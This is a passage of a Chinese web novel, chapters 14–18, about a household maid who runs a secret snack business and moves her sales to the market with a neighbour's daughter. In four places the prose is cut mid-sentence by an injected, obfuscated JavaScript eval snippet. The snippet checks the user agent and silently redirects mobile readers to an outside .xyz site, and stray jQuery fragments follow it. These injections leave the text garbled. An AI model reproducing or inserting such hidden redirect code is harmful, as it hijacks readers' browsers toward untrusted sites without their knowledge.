第二天，胡姣依旧早早去上工。豆哥儿提着小竹篮，将第一波儿东西送到芳汀阁后院角门。恰好绣橘正开门，瞧见豆哥儿那小小的身影，忙快步迎上，接过东西。 豆哥儿学足了胡姣的嘴甜，到了地方先喊人，又让绣橘点点数量看看对不对。 然后，又指着其中几份点心，伶俐地说道：“这几样是我姐姐孝敬大姑娘和绣橘姐姐的。姐姐说了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127973|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑娘和姐姐要是不嫌弃我们粗手笨脚的，就赏脸用些吧。” 绣橘看着豆哥儿机灵的小脸，“噗嗤”笑出声来，伸手就去捏他的脸蛋。 “哎哟，好豆哥儿，这小嘴儿抹了蜜糖不成，怎地这般会说话？” 说着又要去拉他的手，让去她屋子里吃果子。 豆哥儿却像条小泥鳅，笑嘻嘻后退两步跑开了，只说等会儿再来送第二趟。 到了下午，绣橘又来找胡姣。两人寻了个背风的墙角站定。 绣橘先从袖笼里摸出一个沉甸甸的小钱袋，塞进胡姣手里。然后又给她讲起来今日卖货的火爆场面。胡姣听着她的描述，也是欣喜万分。 绣橘又说孝敬孝敬大姑娘的那份儿，她寻了个空儿递上去了。 “姑娘见了喜欢得紧。尤其是那冻子，酸酸甜甜，晶莹剔透的，姑娘尝了赞不绝口，直说你有心。特意让我带话，说心里记着你的好呢，问你什么时候得闲了，再去芳汀阁陪她说说话儿。” 胡姣忙道：“劳姐姐替我回姑娘，姑娘不嫌我粗笨，是我的福分。再过两日有了假，一定去给姑娘请安。” 绣橘笑着应了，又提出一个半旧的朱漆食盒来给她。那食盒边角处漆皮有些磨损，露出些许木色，但整体还算周正干净，搭扣也完好。 “你总往姑娘那儿送东西，没个像样的家什盛着，终究不成样子。这是咱们院儿里淘换下来的，虽说旧些，好歹没破没裂，漆面也还过得去。你以后提着它，总比你那竹篮子瞧着体面些。姑娘跟前也好看。” 胡姣接过食盒，心中更加感念绣橘这份细致入微的体贴。于是便再次提出要和绣橘五五分成，绣橘哪里肯要，一个劲儿地推辞。两人推让了好几个来回，见她死活不肯，胡姣也没办法，最终才定下绣橘拿二成，胡姣拿八成。 绣橘又怕她钱不趁手，还让她不必次次结算，攒到月底再给她也不迟。胡姣越发过意不去，心里想着以后再找机会回报一番。 夜里，胡姣一家三口围坐炕桌，开始盘算账目。 “焦糖米花，卖出去二十包，其中有几个人是买三送一，实收十五文钱。怪味花生，二十包全卖光了，两文一包，四十文。海棠冻，二十筒，连冻带筒卖出去十五筒，三十文；退回空筒的五筒，只收冻子钱五文……” 胡姣一边说，一边拨动着桌面上散着的铜钱，最终得出了一个数值。 “刨去买材料的本钱，再除去孝敬姑娘和绣橘姐姐的，净赚的大概在六十五文上下。” “六十五文！”刘氏重复了一遍，脸上是难以置信的恍惚。没想到一天的进项，竟抵得上她六七天辛苦浆洗的钱。 豆哥儿最近在学算学，此刻他快速地算了起来。 “一天六十五，十天六百五，一个月就是……就是一千九百五十文！阿娘，姐姐，咱家要发财啦！” “噗嗤——”胡姣和刘氏先是一愣，随即对视一眼，再也忍不住，同时笑出了声。 刘氏笑得直抹眼泪，伸手将豆哥儿搂进怀里，揉着他的小脑袋：“我的傻儿子！你算得倒快，可那钱也不是天天都能这么赚的呀。那些姐姐们的钱也不会下崽儿，哪能日日都掏空了荷包来买零嘴儿？今儿买了，明儿后儿兴许就不买了，隔几天馋了才再买呢。” 豆哥儿被娘亲笑得有些不好意思，小脸微红，挠挠头，困惑地问：“啊？那……那我算错了？” “数儿是没错，”胡姣止住笑，温言道：“可过日子，账不能这么算。买卖有起落，日子有松紧。不过，有了这份进项，咱们家的日子，总会越来越好的。” 15. 第 15 章 接下来几天，果然如刘氏所说，买零食的丫鬟没有第一日那么多了，但三三两两的，每日也有个二三十文进账。 有了钱，胡姣便想改善一下伙食，于是让刘氏下了工买些大棒骨和瘦肉回来，晚上做骨汤馄饨吃。 大棒骨便宜，两个铜子儿就有一大根，虽然上面没有一丝儿肉，可剁开了加上些葱姜炖上，油香四溢，很是补人。骨汤刘氏下午就吊上了，此刻汤汁浓白，鲜掉舌头。 胡姣下了工，又拿起那块碗口大的瘦肉，使出浑身的劲儿不断用刀敲打，直到肉质细腻，如同粉红色的印泥。接着便将敲打好的肉泥倒入大碗中，加上过滤好的葱姜水、一点点细盐、一点点糖、少许胡椒粉，然后便用筷子顺着一个方向不停搅拌，没一会儿便感觉到阻力，这就是搅好了。 一旁的刘氏已经按照胡姣的要求擀好了面皮，用的是二合面，白面少灰面多，张张透明如纸，四四方方的，只有豆哥儿半个手掌大小。 胡姣取来一张馄饨皮，放在手心里，用筷子尖挑取指甲盖大小的肉泥，接着手指翻飞，很快一个小鱼形状的馄饨就包好了。豆哥儿看得眼睛都直了，愣是没想明白馄饨皮是怎么变成小鱼的。胡姣再接再厉，不多会儿就包好了整整一小笸箩。 热水下锅，眨眼间小鱼一个个都浮出了水面，肚子圆鼓鼓粉嫩嫩的，煞是喜人。煮好的馄饨放进碗里，加入吊好的骨汤，再撒上少许翠绿的葱花，粉的粉，白的白，绿的绿，简直馋死个人。尝一口，皮滑汤鲜，馅嫩弹牙，且个头不大，一口一个，吃下去那叫一个舒服。 豆哥儿吃的头都不抬，额上沁出了汗也顾不上擦，吃了一碗还要再吃一碗，只吃得小肚子溜圆，还是胡姣怕他积食不许他再吃了才罢手。 日子不咸不淡的过着，一眨眼，胡姣来大厨房竟也三个多月了。 她做事勤快，嘴又甜，上上下下没有不喜欢她的。就连一向眼高于顶的鲍娘子也高看她一眼，偶尔也让她跟着做些切配的活儿，时不时地指点两句。 可别小看了这切配的活儿，瞧着不起眼，可比起单纯的烧火，却又高了一层。这大厨房里，连胡姣在内，共有三个烧火丫头，管的是烧火搬柴、刷锅洗碗、洗菜舂米等粗活儿，说白了就是帮闲打杂的，没有任何技术含量，自然也就没有前途可言。 除了烧火的丫头和打杂的婆子，鲍娘子、林大娘手下还各有一个专门的切配丫头，做的活儿也更精细些。鲍娘子手底下的那个丫头叫杏儿，是外头赁来的，签的是五年契。这种按年签契的，也可以在到期后继续续签。但杏儿年纪大了，家里正准备着给她找婆家，自然就不能再续了。等杏儿一走，切配丫头便少一个人，鲍娘子打算在新进来的几个小丫头里再选一个顶上。 和烧火丫头不一样，切配丫头是真的能学到本事的，如果得到鲍娘子看中，说不得还会被收为徒弟，以后也能成为灶上的管事娘子，这就是祖坟冒青烟了。 于是，胡姣发现这两天翠姐儿对她的态度变了。以前总爱拉着自己讲八卦，现在看见她就脸子拉的老长，也不和她说话了。 要是胡姣主动上前，她要么从鼻子里哼一声，要么就猛地别过脸去，只拉着喜姐儿几个，有时还故意说些酸话。 “有些人呐，来了这才多久，倒把上上下下哄得团团转。哼，马屁精！” 胡姣心里雪亮，知道她为什么阴阳怪气。 翠姐儿一心想当灶房娘子，鲍娘子就是她的人生榜样。据她说鲍娘子和她还是拐着弯儿的亲戚，按辈分来说该叫一声表姨的。当初她能来大厨房，也是走了鲍娘子的路子。可如今她来了快两年了，不知烧了多少柴，流了多少汗，却还是个烧火丫头。眼见着杏儿的位子要空出来，满心以为怎么也该轮到她了，谁知又冒出个椒姐儿。 她心里不平，又不敢怪鲍娘子，于是把气都撒在了胡姣身上。肯定是这个椒姐儿会拍马屁，不然怎么表姨没看上自己，倒看上了她？ 可她也不想想，自己那张嘴，成日里何曾有闲着的时候？天天不是赵家长就是李家短。鲍娘子最讨厌的就是她话多，为着她这张嘴，不知道说了多少次，她总是面上说得好听，下次继续不改。 气的鲍娘子看见她就头疼。一家子都是三棒子打不出闷屁来的，怎的就出了翠姐儿这么个话痨？早就叮嘱她，来了大厨房，手要勤快嘴要严，就是不听。别说只是八竿子打不着的表姨，便是亲娘也嫌她。 胡姣倒无意和翠姐儿相争。旁人眼中的青云路，于她却是绊脚石。做了灶上娘子，多半是要跟着府里的小主子陪嫁出去的。但爹娘兄弟都在这府里扎着根，她岂能独自远走高飞？况且，真学成了鲍娘子那身本事，成了灶上不可或缺的人物，主家又岂会轻易放她赎身？ 她心心念念的，不过是攒够了银钱，带着全家离开这高门大院，做个自由自在的小老百姓罢了。低调赚钱，早日脱身，这才是她的心头大事。 而且，话又说回来。鲍娘子此举，也未必就是真心属意她。毕竟那些灶上的手艺，向来只在师徒、亲族间口耳相传。翠姐儿再不成器，终究与她沾着亲带着故，天然就比她这个“外人”更可靠几分。鲍娘子此刻抬举她，十有八九是存了敲打翠姐儿的心思，叫她生出几分紧迫罢了。她要是真的相信了，那就是心里没成算了。 于是，趁着午后，大厨房里无甚差事，胡姣便悄悄凑到翠姐儿身边。 “翠姐姐，还在生我的气？” 翠姐儿肩膀一僵，扭过头去不看她，只拿着火钳戳灶膛里的灰。 胡姣也不恼，继续道：“我知道姐姐的心思，可却从来没想过要和你争。实话说给你，灶上娘子将来是要跟着府里姑娘陪嫁出去的，但我爹娘兄弟都在这府里，我不想走。” 翠姐儿戳灰的动作慢了下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132402|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “鲍娘子抬举我，让我做点切配的活计，不过是看我手脚还算利索，一时缺人顶上去罢了。说到底，姐姐你才是她血脉相连的晚辈，她心里头属意谁，还用说吗？” 胡姣说得真诚，又顺手从袖笼里摸出两包油纸裹好的零嘴儿，塞进翠姐儿手里。 “刚得的零嘴儿，姐姐尝尝味儿正不正。” 翠姐儿小性儿但也好哄，见胡姣言辞恳切，确实无意与她相争，心里顿时松了一口气，只是声音还有些发涩。 “你真个不想学鲍娘子的手艺？” “千真万确。”胡姣用力点头，“我就想安安稳稳烧火，挣点月钱贴补家里，旁的，不敢想，也轮不到我想。” 翠姐儿脸上总算露出了笑意，撕开油纸包，捏起一颗怪味花生丢进嘴里，嘎吱嘎吱地嚼起来。一边嚼，一边还含混不清地说着话。 “算你还有点良心！早说嘛，害得我白生这些天闷气，饭都少吃两碗！” 说着，伸手在胡姣胳膊上轻轻拧了一把。 胡姣佯装吃痛，“哎哟”一声，也跟着笑起来。 两人蹲在灶膛后，脑袋凑在一处，好得又跟穿一条裤子似的，窸窸窣窣地分吃着零嘴儿，仿佛前几日的龃龉从未发生过。 翠姐儿那张闲不住的嘴，一旦解了封，立刻又叽叽喳喳起来。 此刻，左右张望了一下，见无人在意，便凑到胡姣耳边说道： “椒姐儿，咱们大厨房要出大事儿了！” 胡姣见她神秘兮兮的，也有些好奇，忙问是什么事。 翠姐儿又扫了一眼四周，才用气声说道： “最近库房里总是丢东西，今儿少一包上好的银耳，明儿缺几盏顶级的燕窝，都是值钱货。鲍娘子气得脸都青了，疑心是内贼。她跟张妈妈私下里商量好了，要设个局，来个‘瓮中捉鳖’呢！” 胡姣听得心头一凛。大厨房库房失窃，这可不是小事。谁会这么大胆？又图些什么？ 一旁的翠姐儿喋喋不休讲了半晌，末了才找补似地提醒胡姣千万别出去乱说，要是坏了鲍娘子的事儿就完了，鲍娘子非扒了她的皮不可。 胡姣看着她那副知道点儿秘密却又忍不住要分享的模样，嘴角忍不住抽了抽。无奈地叹口气，真心实意地劝道：“好姐姐，你这张嘴呀……以后真该收着点，要知道祸从口出。” 翠姐儿倒是满不在乎地摆摆手，又往嘴里塞了一颗花生，才含糊道：“晓得了晓得了！这不是和你嘛，别人我才不说呢。” 又过两日，胡姣没等来翠姐儿说的大事，倒是被同住一个院儿的金桂娘又恶心了一把。 说起这金桂娘，胡姣真是不知道说什么好。她就像那打不死的小强一样，坚持致力于在胡姣家找存在感，明明每次都被胡姣她娘刘氏怼得七窍生烟，下次依旧死性不改继续撩拨。嗯，某种程度上她和翠姐儿倒是很像。 16. 第 16 章 事情还要从几个月前说起。 那会儿胡姣家刚借着绣橘的东风做起了吃食生意，打那以后隔壁金桂家便经常传来敲敲打打的声音，嘴里还总是指桑骂槐、不干不净的。恨得刘氏撸起袖子就要去找她理论。 “就没见过这样儿的，天天耷拉那张吊丧脸给谁看呢？” 在刘氏看来，自家不过是关起门来做点小买卖，一没占她金桂家的地，二没偷她家的米粮，碍着她哪根筋了？ 这遭瘟的娘儿们就是红眼病犯了，见不得别人好，眼瞅着打探不出胡家生意的门道，就使这泼皮无赖的下作手段来恶心人。 刘氏越想越火大，她“刘辣子”的诨名也不是白叫的，非得叫这金桂娘好好吃一顿排头。 被恶心到的不只有刘氏，胡姣又何尝不是呢。只不过大家同在一个院儿里住着，有些事情不好在明面上撕破脸，况且毕竟这买卖是偷偷做的，要是闹开了扯出来，自家被罚倒没什么，连累了绣橘和兰娘就罪过了。所以，几次死命拉住了想要找金桂家麻烦的刘氏。 可总这么着也不是个事儿。 这不，因着胡姣不让她去找，刘氏快憋出病来了。依她的性子，是宁肯挨一刀也不愿受这气的。几天下来，硬是气得心口疼，饭也吃不下，下了工回来就躺在床上直“诶呦”。 其实也不是真的病了，就是实在气不过，也有怪女儿太过胆小怕事的意思，毕竟自打刘氏嫁了人，还没有过这么憋屈的时候。 胡姣也知道她娘是什么情况，心里又是好笑又是好气。笑她这么大的人还像个小孩子一样耍脾气，又气她不拿自己身体当回事儿。 “阿娘，起来吃饭了，姐姐今天做了燔肉，可好吃了。” 豆哥儿掀起帘子，喊在炕上躺了一下午的刘氏起来。 所谓燔肉，其实就是炖肉，做法和红烧肉类似，只不过此时还没有红烧肉这个称呼。 “娘不饿，你们吃吧，娘心里难受……” 刘氏头上裹着一块不知道从哪儿弄来的布条子，一副病歪歪的样子斜靠在枕头上，如果枕头下油纸包的炊饼再藏好一些就显得更真了。 最近，刘氏都是下了工直接躺床，饭也不做了。当然了，这也是因为她知道胡姣会做，所以有恃无恐。为了让自己的病装的更像点，她也不起来吃饭，偷偷在房里拿点炊饼就着凉水吃。 “阿娘，女儿新做的燔肉，您帮忙尝尝味儿可还行。” 见豆哥儿没能喊起来，胡姣端着碗红烧肉盖饭自己来找刘氏了。 “椒姐儿啊，娘心里难受啊。你要是不让娘出了这口气，娘怕是活不长了……” 胡姣听了，眼角直抽抽，以前咋没发现她娘这么能作呢。为了去找金桂娘的麻烦，又是装病又是赌咒的，也不怕晦气。当下也不戳穿她，仍旧好声好气地道： “阿娘，您先吃饭吧，吃了饭女儿有件好事儿和您说呢。” 听见有好事儿，刘氏以为是胡姣想通了，一想到等下可以手撕金桂娘，于是立马心口不疼了，人也精神了，也不用胡姣扶，自己就坐起来端起碗来吃。 为了让胡姣回心转意，她这几天可是没少遭罪，炊饼就水，吃的她嘴里都快淡出鸟来了。 谁想这一吃，她眼睛就亮了。也不知是不是因为许久没吃肉了，不然这味儿咋恁好？以前胡舫在家时也做过燔肉，可也没这么香啊。她赶紧又吃几口。 刘氏哪里晓得这是胡姣根据后世的红烧肉进行的改良版本呢。 知道刘氏几天没好好吃饭，胡姣特地托孙阿嫂帮忙带了一条五花肉，油光水滑的，一看就是好肉。 本朝天子喜食羊肉，上有所好，下必甚焉，达官贵人家宴会也多以羊肉待客，以示尊重，所以羊肉价贵。而猪肉则多是不入流的小户人家食用的，相对来说便宜许多。这一条上好的纯谷饲五花肉要搁后世怎么不得七八十块啊，然而孙阿嫂却只收了胡姣九个铜子儿。 肉买回来之后，胡姣先加上葱姜冷水下锅焯水，然后洗净浮沫切成一寸见方的小块儿。又另起油锅倒入饴糖炒出糖色，将切好的肉块和少许香料倒进去翻炒几下，接着加入开水，中小火炖煮，待汤汁收到只剩一半时，再加入适量的盐，然后继续大火收汁直至粘稠。 做好的燔肉红润油亮，层次分明，筷子搛起来颤颤巍巍，咬一口香气四溢，入口甜，后调鲜。吃一口燔肉，再就一口米饭，食物带来的满足感立刻从胃里蔓延到全身，保准什么烦恼也没了。 胡姣见刘氏吃的正高兴，便把自己打算停了府里吃食生意的事情告诉了她。 刘氏顿时感觉自己碗里的肉不香了。不是说有好事吗？这叫什么好事？ 胡姣假装没看见刘氏的表情，继续道：“如今虽然托了绣橘姐姐的福，咱家这小生意做的还行，可终究不是长远之计，万一被有心之人告一状，一家子都吃不了兜着走，还没得连累了旁人。” 倒也不是胡姣空穴来风，不提金桂娘那个讨嫌的，院儿里其他人其实也挺好奇的。就连孙阿嫂家的春儿都来过几回，问她这段时间家里作甚呢，总看见豆哥儿提着篮子一趟趟往外跑。 见她不像在说假话，刘氏觉得自己这下真的是要病了。金桂娘的麻烦没找成，自家的小生意也要做不了了。于是，忍不住开口： “咱家那生意可好得很，多的时候一天七八十文，少的时候也有二三十文，比咱娘儿俩加起来的月钱都多，真个说不做就不做了？” 胡姣就劝她，一开始做这个生意是因为家里穷的没法子，才担着风险弄的，现在家里也攒了些钱，与其继续担惊受怕，倒不如撒开手另寻出路。 “女儿已经想过了，府里咱们不继续卖，可还能去市集上啊，这样也算是将这事儿过了明路，即便有人发现也有个说法，毕竟府里也没说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137260|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不让下面的人出去卖东西。” 这话倒是真的，府里针线活儿好的丫头一多半都会做些帕子、荷包什么的送到外面的绣庄寄卖。这事儿梅娘子是知道的，也从不禁止。她御下有道，但不爱在这些小事儿上为难下面的人。 听她说的句句在理，刘氏虽不情愿，却也没那么难受了。只是，还是有些不忿就这么放过金桂娘。 胡姣瞧出她的心思，告诉她过两天金桂娘保准得主动来向她低头。 刘氏不解，忙问原因。 胡姣便告诉她，接下来去市集卖吃食的生意她打算在院儿里选一户一起做。人选她也有了，就是孙阿嫂家。 她家春儿比胡姣大两岁，但是如今还没有差事，成日里在家也是闲得无聊，倒不如和豆哥儿一起出去卖吃食，也能挣两个零花钱。 至于孙阿嫂家对门的金桂娘，那可是个不捡钱就算丢钱的人，看见了，心里必定难受，可不就得上门找刘氏吗？到时候…… 刘氏一听是这个理儿，于是病就彻底好了。 第二天，胡姣果然去孙阿嫂家串门儿。 孙阿嫂男人孙同和胡姣爹胡舫一样都在田庄上，四五个月才回来一次，所以家里就只有她和女儿春儿两个。 春儿这丫头得来不易。孙阿嫂前头两个孩子都没能活过两岁，春儿是她的第三个孩子，又是个早产儿，所以便格外疼一些。如今春儿十岁了，孙阿嫂也没去府里替她寻个差事，家里的活儿更是从不叫她沾手。每日里只是在家绣绣花、做做鞋，甚至连鞋底子孙阿嫂都不让她纳太厚的，怕她扎得手疼。 只是有一样，春儿被宠得太过，心思单纯地近乎傻气，脾气也有些大。稍不顺意，那脸就垮下来，嘴噘得能挂油瓶，有时连她娘都拿她没辙。 胡姣上门说明来意，孙阿嫂顿时喜出望外。 她自家人知自家事，春儿在她眼里自然千好万好，可旁人却不见得。府里不少人都说她家春儿是“姑娘的身子丫头的命”，又说她把女儿养得不成样子，十岁了还什么也不会，将来怕是连婆家也难寻。 也有人好心劝她让春儿出去走动走动，哪怕是上街卖朵花儿果儿的都成，见见人，学学说话办事，总比成日闷在屋里强。 其实孙阿嫂何尝不想，可自己又没个一技之长，除了做些洒扫，什么也不会，便是去了市集也没东西可卖，再加上她也不放心春儿一个人去。 胡姣说的话，对孙阿嫂而言那可真是瞌睡送枕头。当下就喊了春儿出来，把胡姣的话又说了一遍。 谁知，春儿倒也愿意，立时就同意了，还赶着问什么时候能开始做这买卖，倒是让她娘孙阿嫂吃了一惊。要知道春儿平时可懒，自己换下来的衫儿、裙儿从来不愿意动手，非得捱到孙阿嫂下了工回来再洗。若不是孙阿嫂怜惜她，搁谁家不得屁股上挨几下。 可孙阿嫂哪里知道这妮子的心思。 17. 第 17 章 自小，孙阿嫂就将她看得眼珠子似的，轻易不许她出院门，以至于春儿长到这么大，还没出过府。虽然，孙阿嫂也时常给她带些街市上的新鲜玩意儿，可哪比得上自己亲眼所见呢。 春儿几次软磨硬泡想要出府去玩儿，偏她娘总是不肯，还吓唬她说怕叫拍花子的拐走了。哼，分明就是糊弄小孩儿的。 同住一个院儿里的椒姐儿就经常出门。这丫头比她还小两岁呢，如今已经在大厨房当差了，自己拿着一份月钱，想买什么就能买。她就看见过几次，椒姐儿带着她兄弟豆哥儿大包小包的从市集回来。叫她心里怎么不羡慕。 所以，如今胡姣的提议，在春儿听来不啻仙音。去市集卖点心，那岂不是能日日出门了？还能得份儿跑腿钱。简直就是天上掉馅儿饼！ 因此，孙阿嫂话音才落，春儿就频频点头还连声催促问什么时候能开始。 孙阿嫂本就有意，又见女儿欢喜，忙不迭地就应下了。 胡姣见事情顺利，当下便与孙家母女商定：每日由胡家负责备货，孙家出春儿这个劳力，与豆哥儿搭伙儿，去南市口人流最旺的地段摆个小摊儿。所赚银钱，刨去本钱后，两家三七分。 孙阿嫂本还觉得自家只出个人，拿三成有些占便宜。胡姣却道春儿姐姐每日奔波也辛苦，理应如此，孙阿嫂这才感激不尽地应承下来。 翌日，天刚蒙蒙亮，胡姣便与刘氏手脚麻利地将昨日备好的三样点心，分门别类用油纸和竹筒装好，整整齐齐码放进两个结实的竹筐里。 本来刘氏还有些不愿意，认为自己下了工也能带着豆哥儿出去，何必还要搭上孙家，还给三成利，这不是白白送钱给人家吗？ 胡姣细细和她分析了一番。从前是她考虑不周，只顾着自家发财，却忘了邻里。这几户人家都在一个院儿里住着，什么风吹草动能瞒得过眼？若是人家心生嫉妒，想要坏事，那可是防不胜防。所以自家吃肉也要让别人有口汤喝，这样才能做得长久。 选孙阿嫂家，是因为她人还算厚道，又和金桂娘不对付，能帮着盯住她别使坏。且春儿爹又和胡舫在一个庄子上，自家对春儿好，她爹关键时候也能照应着点儿胡舫。再说，刨去本钱三七开也不少了，还省了刘氏的事儿，以后她只要下午在家把第二天的材料准备好就成。 胡姣说的清楚，刘氏也不是个不晓事的，听女儿如此，哪还能不明白她的苦心，再加上也存着膈应金桂娘的心思，于是早早便起来帮忙。 一旁的豆哥儿早已穿戴整齐，小脸因着兴奋显得红扑扑的。 春儿也难得起了个大早，将两根小辫子梳了又梳，换了件半新不旧的粉紫色细布夹袄，又往鬓角簪了朵小小的浅黄色绢花。这绢花还是他爹去年过年给她买的，要十个铜子儿，轻易舍不得戴呢。 然后，在孙阿嫂的声声叮嘱里，与豆哥儿一人提着一个沉甸甸的竹筐，兴冲冲地出了门。 南市口果然名不虚传。青石板路两旁，各色摊贩早已支开，吆喝声、讨价还价声、骡马嘶鸣声、孩童嬉闹声汇成一片，热浪般扑面而来。卖针头线脑的、卖时新果子的、卖泥人糖画的、卖热气腾腾的早食的……琳琅满目，看得人眼花缭乱。 豆哥儿机灵，拉着春儿寻了个靠近街口又避风且显眼的位置，将竹筐放下。春儿则有些手足无措，看着来来往往的人流，一张俏脸绷得紧紧的，方才出门时的雀跃被这汹涌的人潮冲散了大半。 豆哥儿看出她的紧张，小大人似的挺起胸膛，深吸一口气，随即扯开嗓子脆生生地吆喝起来。 “好吃的点心果子嘞——又香又脆的焦糖米花，酸酸甜甜的海棠冻，吃了还想吃的怪味花生，都来瞧一瞧看一看喽！” 这稚嫩却清亮的声音立时吸引了不少目光。几个挎着菜篮子的妇人停下脚步，好奇地围拢过来。 “小哥儿，你这卖的什么？名字听着怪新鲜的。”一个穿着靛蓝布裙、面容和善的大婶笑着问。 豆哥儿早就跟着胡姣练出来了，此刻一点儿不怯场，麻利地打开一包焦糖米花，捧到那大婶眼前：“婶子您闻闻，香不香？一文钱一包，买三包只收两文钱！又甜又脆，保管您家娃娃爱吃！” 那金黄油亮又散发着浓郁甜香和谷物焦香的米花瞬间勾起了大婶的兴趣。她捏起一小撮放入口中。 “哎哟，又脆又甜，还不粘牙，香得很！给我来三包！”说着便摸出两个铜钱。 “好嘞！”豆哥儿脆声应道，手脚麻利地包好三包米花递过去。有了这头一单，围观的人更多了。 春儿见状，也鼓起勇气，学着豆哥儿的样子，拿起一筒晶莹粉嫩的海棠冻，只是还有些紧张，说出来的话磕磕绊绊的：“这、这是海棠冻，冰凉滑溜，酸甜开胃，一文钱一筒，竹筒押金一文，还筒退钱……” 她生得秀气，此刻脸颊微红，怯生生的模样反倒惹人怜爱。 一个带着小孙女的老婆子被那粉嫩剔透的冻子吸引，掏钱买了一筒。小孙女迫不及待地用竹勺子挖了一口，酸甜冰凉的滋味让她满足地眯起眼。这婆子瞧见孙女吃着不错，又买了一筒自己吃。 “这什么怪味花生，也给我来一包尝尝。”一个穿着绸衫的大官人挤上前，指着那裹着面衣、散发出奇异辛香的花生道。两文钱一包，他倒不嫌贵。 这大官人本姓郑，家里开着三五间赌坊，惯爱在市集淘腾新鲜吃食，今日偶然路过南市口，瞧见这小摊子人头攒动便来瞧瞧。旁边有认出他来的，还问他最近在哪里发财。郑官人笑着说了两句，接过豆哥儿递来的油纸包，朝那人一拱手又去寻找下一个目标了。 日头渐高，小摊子的生意也越发好。豆哥儿和春儿两个，一个负责招呼客人、拿东西，一个负责收钱找零，直忙得额头冒汗。还不到午时，两个竹筐便已见了底， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146579|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后几包怪味花生被几个结伴逛街的小媳妇抢购一空。 两人收了东西往回走，一边走还一边叽叽喳喳地说着方才的见闻和趣事。 豆哥儿更是坏笑道：“春儿姐姐，明儿个咱们还来，到时候你肯定就不结巴了。” 春儿的脸“唰”地红透了，作势要去拧豆哥儿的嘴：“小坏蛋，让你不学好！” 豆哥儿嘻嘻哈哈地躲开，两人笑闹着跑进了巷子口。这一幕，恰好被端着洗衣盆晾衣服的金桂娘看了个正着。 金桂娘站在自家门口，眼巴巴瞅着春儿和豆哥儿手里空空如也的竹筐，再听听他俩那快活的声气，只觉得一股酸水儿翻腾直冲脑门。 春儿那丫头片子，平日里大门不出二门不迈，肩不能挑手不能提的，如今竟也能跟着胡家那小子去市集卖点心了？瞧那神气活现的样儿，肯定没少挣吧…… 金桂娘心里像有千百只蚂蚁在啃噬，又痒又疼。 她越想越不是滋味，连带着看自家缩在角落里默默补衣裳的金桂，都觉得格外碍眼。同样是丫头，怎么人家椒姐儿就能带着弟弟风生水起，自家这个就跟个锯嘴葫芦似的？ 她“哐当”一声将空了的洗衣盆重重撂在地上，倒把金桂吓了一跳。 金桂娘也不管女儿，一屁股坐在门槛上，眼睛直勾勾地盯着胡姣家的方向，心头那股邪火烧得她坐立难安。 不行！凭啥好处都让胡家占了去？她刘辣子能搭上孙家，难道就不能搭上我家？都是一个院儿里的，我家金桂也不比春儿那丫头差！ 这念头一起，便再也按捺不住。金桂娘猛地站起身，掸了掸衣襟上并不存在的灰，又对着水缸里模糊的倒影理了理鬓角，努力挤出个自认为和善的笑容，抬脚就朝胡家走去。 “她婶子，她婶子，在家吗？” 金桂娘站在胡姣家门外朝里喊，声音又高又亮，带着点刻意的亲热。 刘氏探出头来，见是她，脸上没什么表情，不咸不淡地道：“是金桂娘啊，有事？” 金桂娘堆着满脸笑，一步就跨进了门里，熟络得仿佛回了自己家。 “哎哟，瞧您说的，没事儿就不能来串串门儿，说说话儿了？俗话说远亲不如近邻，咱们同在一个院儿里住着，就该多走动走动，亲近亲近，您说是不？” 她一边说，眼睛一边往里屋方向瞟。 刘氏倚着门框，双臂抱胸，不往里让，也不搭话，脸上露出一个“你有病”的表情。 金桂娘见她这副油盐不进的样子，心里暗骂，脸上笑容却越发灿烂，凑近一步，带着十二分的讨好。 “刘嫂子，我可都瞧见啦，春儿那丫头今儿个跟着你家豆哥儿去市集上卖点心，那生意可是了不得，回来的时候，俩孩子乐得跟什么似的。我就寻思着，嫂子你真是个有福气的，椒姐儿手巧，豆哥儿机灵，这日子眼看着是越过越红火了。” 18. 第 18 章 她顿了顿，觑着刘氏的脸色，终于说出了目的。 